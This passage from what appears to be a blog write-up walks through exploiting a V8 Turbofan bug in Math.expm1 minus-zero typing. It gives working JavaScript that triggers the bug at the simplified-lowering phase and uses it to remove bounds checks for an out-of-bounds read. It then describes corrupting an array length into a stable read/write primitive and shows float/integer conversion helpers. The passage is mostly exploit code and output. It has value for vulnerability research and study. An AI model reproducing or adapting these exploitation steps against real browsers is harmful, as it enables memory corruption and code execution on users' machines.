  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Math&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;expm1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Compile function optimistically for numbers (with fast inlined&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// path for Math.expm1).&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Invalidate the optimistic assumption, deopting and marking non-number&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// input feedback in the call IC.&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Optimize again, now with non-lowered call to Math.expm1.&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// returns: false. expected: true.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Using Turbolizer (described in the previous section), we can now start
to work on triggering this bug at the correct phase (&amp;quot;simplified
lowering&amp;quot;).&lt;/p&gt;

&lt;p&gt;Noticing that the phase that lies between &amp;quot;load elimination&amp;quot; (where we
do &lt;em&gt;not&lt;/em&gt; want the bug to be triggered yet) and &amp;quot;simplified lowering&amp;quot;
(where we want bug to be triggered) phases, there lies the &amp;quot;escape
analysis&amp;quot; phase. Clearly, we need to perform some manipulations at
this phase in order to &amp;quot;hide&amp;quot; the bug from the optimizer before, and
then &amp;quot;reveal&amp;quot; after.&lt;/p&gt;

&lt;p&gt;There&amp;#39;s a great talk by Tobias Ebbi titled &lt;a href=&quot;https://www.jfokus.se/jfokus18/preso/Escape-Analysis-in-V8.pdf&quot;&gt;&amp;quot;Escape Analysis in
v8&amp;quot;&lt;/a&gt;,
that was super useful in understanding the complexities involved in
escape analysis. Thankfully, we don&amp;#39;t need to worry about most of
it. We can simply use the intuition that if an object does not escape,
and this is &amp;quot;easy&amp;quot; for v8 to prove, then it will convert the object&amp;#39;s
members into local variables instead.&lt;/p&gt;

&lt;p&gt;With this idea in mind, I tried to mess around with objects until I
was able to get something to work, which would not trigger on the
first two relevant phases, and would trigger on the
3rd. Unfortunately, I wasted a bunch of time due to not being able to
see feedback types from simplified lowering in Turbolizer. If someone
has a good way to have these show up, please do let me know :)
However, I finally started to use the &lt;code&gt;--trace-representation&lt;/code&gt; flag
(thereby my whole &lt;code&gt;d8&lt;/code&gt; command was
&lt;code&gt;./d8 --allow-natives-syntax --trace-representation --trace-turbo-graph --trace-turbo-path /tmp/out --trace-turbo&lt;/code&gt;)
which allowed me to see feedback types at the terminal. Using these, I
could now figure out whether I was triggering the bug at the right
point, and turns out I had figured it out a while ago: it just wasn&amp;#39;t
showing up in Turbolizer (since that was showing types, and not the
feedback types, which &amp;quot;simplified lowering&amp;quot; uses).&lt;/p&gt;

&lt;p&gt;The final code used for triggering the bug, exactly in the phase we
wanted (with a minor change to force it to be an integer, which will
be useful in the next stages of writing this exploit):&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;zz&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Math&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;expm1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;yy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;yy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;zz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;yy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;yy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Real: 1, Feedback type: Range(0, 0)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Escalating to an OOB RW&lt;/h2&gt;

&lt;p&gt;Once we have the bug triggering as expected, we have to now start to
abuse this. The plan was to add an array of floats, and use this
mismatched value in order to have the value at some &lt;code&gt;x&lt;/code&gt; which is
outside the array, but have the optimizer think that we are indexing
from 0. This way, the optimizer would eliminate the &lt;code&gt;CheckBounds&lt;/code&gt;
node, and we&amp;#39;ll have an OOB RW primitive.&lt;/p&gt;

&lt;p&gt;Unfortunately, this is easier said than done. Due to the nature of
this bug, and the method I was using to ensure it stays a &lt;code&gt;Call&lt;/code&gt; node,
the &amp;quot;inlining&amp;quot; phase (in particular, &lt;code&gt;JSNativeContextSpecialization&lt;/code&gt;
which runs during that phase) &lt;em&gt;splits&lt;/em&gt; the &lt;code&gt;CheckBounds&lt;/code&gt; node into
&lt;code&gt;CheckBounds&lt;/code&gt; and &lt;code&gt;NumberLessThan&lt;/code&gt; nodes. The &amp;quot;real&amp;quot; length check now
happens at the &lt;code&gt;NumberLessThan&lt;/code&gt;, and unfortunately, the &amp;quot;simplified
lowering&amp;quot; phase does not propagate feedback types along
&lt;code&gt;NumberLessThan&lt;/code&gt; nodes.&lt;/p&gt;

&lt;p&gt;This had me stumped for a while, and I kept trying various different
alternative ways of calling things, and also read through a lot of the
v8 code base, trying to understand how to prevent this from happening.&lt;/p&gt;

&lt;p&gt;I finally stumbled upon this (basically, it required having both
functions take and pass the same arguments):&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Math&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;expm1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_z&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Real: 1, Feedback type: Range(0, 0)&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;// feedback: 0&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;// feedback: 0&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I don&amp;#39;t think I have ever been this happy to see a number as large as
&lt;code&gt;-1.1885946300594787e+148&lt;/code&gt; in my life :D&lt;/p&gt;

&lt;p&gt;Unfortunately, triggering this bug had been extremely difficult, and
it was fragile, so I decided to spend some time working on stabilizing
this, and making it easier to do OOB RWs.&lt;/p&gt;

&lt;h2&gt;Stabilized OOB RW&lt;/h2&gt;

&lt;p&gt;The initial idea for this is to take a &amp;quot;short&amp;quot; array, use the bug to
overwrite its length, and then provide this new array to the &amp;quot;outside
world&amp;quot;. This way, later stages of the exploit can easily perform
out-of-bounds accesses without needing to trigger the original finicky
bug again.&lt;/p&gt;

&lt;p&gt;In order to perform this stabilization, we need to introduce 2 arrays,
use the first to overwrite the length of the second. In particular, we
will set the length of the second array to &lt;code&gt;1024 * 1024&lt;/code&gt; so that we
&lt;em&gt;definitely&lt;/em&gt; have enough to overwrite whatever we want.&lt;/p&gt;

&lt;p&gt;Since we need to work with conversions between floats and integers, I
copied the following code from Google CTF 2018&amp;#39;s &lt;a href=&quot;https://github.com/google/google-ctf/blob/master/2018/finals/pwn-just-in-time/exploit/index.html&quot;&gt;&amp;quot;Just In
Time&amp;quot;&lt;/a&gt;
challenge:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;conversion_buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ArrayBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;float_view&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Float64Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;conversion_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;int_view&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BigUint64Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;conversion_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hex&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;0x&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
